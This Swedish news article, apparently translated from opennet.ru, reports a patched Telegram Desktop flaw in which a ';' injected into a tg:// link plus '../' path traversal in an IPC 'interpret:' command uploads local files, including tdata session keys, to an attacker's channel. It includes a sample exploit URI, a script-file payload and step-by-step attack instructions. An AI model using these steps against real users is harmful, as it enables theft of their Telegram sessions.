SÄrbarhet i Telegram Desktop som möjliggör att skicka godtyckliga filer genom att klicka pÄ en lÀnk

Detaljer och metoder för att utnyttja sÄrbarheten (CVE-2026-107181) i Telegram Desktop, Telegrams officiella klient för skrivbordssystem, har avslöjats. Problemet uppstÄr vid bristande hantering av oescaperade avgrÀnsartecken i IPC-kommandon, vilket möjliggör för en angripare att överföra filer frÄn offrets system, inklusive filer med sessionsnycklar, genom att klicka pÄ en skickad lÀnk. SÄrbarheten har ÄtgÀrdats i release 7.2.9 av Telegram Desktop.

Vid klick pĂ„ "tg://"-lĂ€nkar startar operativsystemet det relaterade programmet Telegram Desktop för denna lĂ€nktyp. Om ett annat instans av programmet redan körs, överförs lĂ€nken via en socket med IPC-grĂ€nssnittet. Problemet Ă€r att om avgrĂ€nsartecknet ";" anges bland lĂ€nkparametrarna (t.ex. "tg://x?a=1;OPEN
"), delas innehĂ„llet upp och delarna efter avgrĂ€nsartecknet ";" behandlas som separata kommandon.

För att utföra attacken anvÀnds kommandot OPEN tillsammans med URI-schemat "interpret:", som Àr avsett för att köra skript genom IPC, som anvÀndes för att automatiskt skicka nya versioner till kanaler. Skriptet anger en fördefinierad lokal fil som innehÄller filen som ska skickas till kanalen och kanalens identifierare. Filbanan till skripten behandlas relativt en tjÀnstemapp, men pÄ grund av avsaknaden av rensning frÄn "..\/" i filbanorna har angriparen möjlighet att komma Ät filer som Àr lagrade utanför den grundlÀggande katalogen. Till exempel kan man ladda upp en fil till sin telegramgrupp och sedan referera till den filen som ett skript genom att förbereda en lÀnk av typen:

tg://x?a=1;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions.txt

Steg för att genomföra attacken:

  • Angriparen lĂ€gger till offret i sin grupp (med standardinstĂ€llningar krĂ€ver inte tillĂ€gg bekrĂ€ftelse frĂ„n den tillagda) och skickar en textfil till denna grupp som anger kanalen och sökvĂ€gen till skriptet. Telegram kommer att spara denna fil i en fördefinierad systemunderkatalog nĂ€r offret gĂ„r med i gruppen.

    kanal: 2005234537
    fil: tdata/D877F783D5D3EF8Cs

  • Angriparen skickar en oskyldig utseende lĂ€nk till sin vĂ€rd (t.ex. "https://coolsite.org") som vid öppning genom omdirigering till servern angriparen ersĂ€tts med en URI av typen ‘tg://x?a=1;OPEN:interpret:
;OPEN:interpret:
.
  • NĂ€r du klickar pĂ„ lĂ€nken anropar webblĂ€saren URI-handlern "tg://", vilket startar den ovan nĂ€mnda kedjan av kommandon som leder till att filer skickas till angriparens kanal utan nĂ„gra aviseringar och utan att be om bekrĂ€ftelse för att skicka.
  • Efter att ha fĂ„tt filer frĂ„n underkatalogen tdata med krypterings- och autentiseringstangentens hjĂ€lp, kan angriparen, om anvĂ€ndaren inte har stĂ€llt in nĂ„got lokalt lösenord, klona offrets anslutningssession pĂ„ sin enhet.

KĂ€lla: opennet.ru

Köp pĂ„litlig webbhotell med DDoS-skydd, VPS VDS-servrar đŸ”„ Köp pĂ„litlig webbhotell med DDoS-skydd, VPS VDS-servrar | ProHoster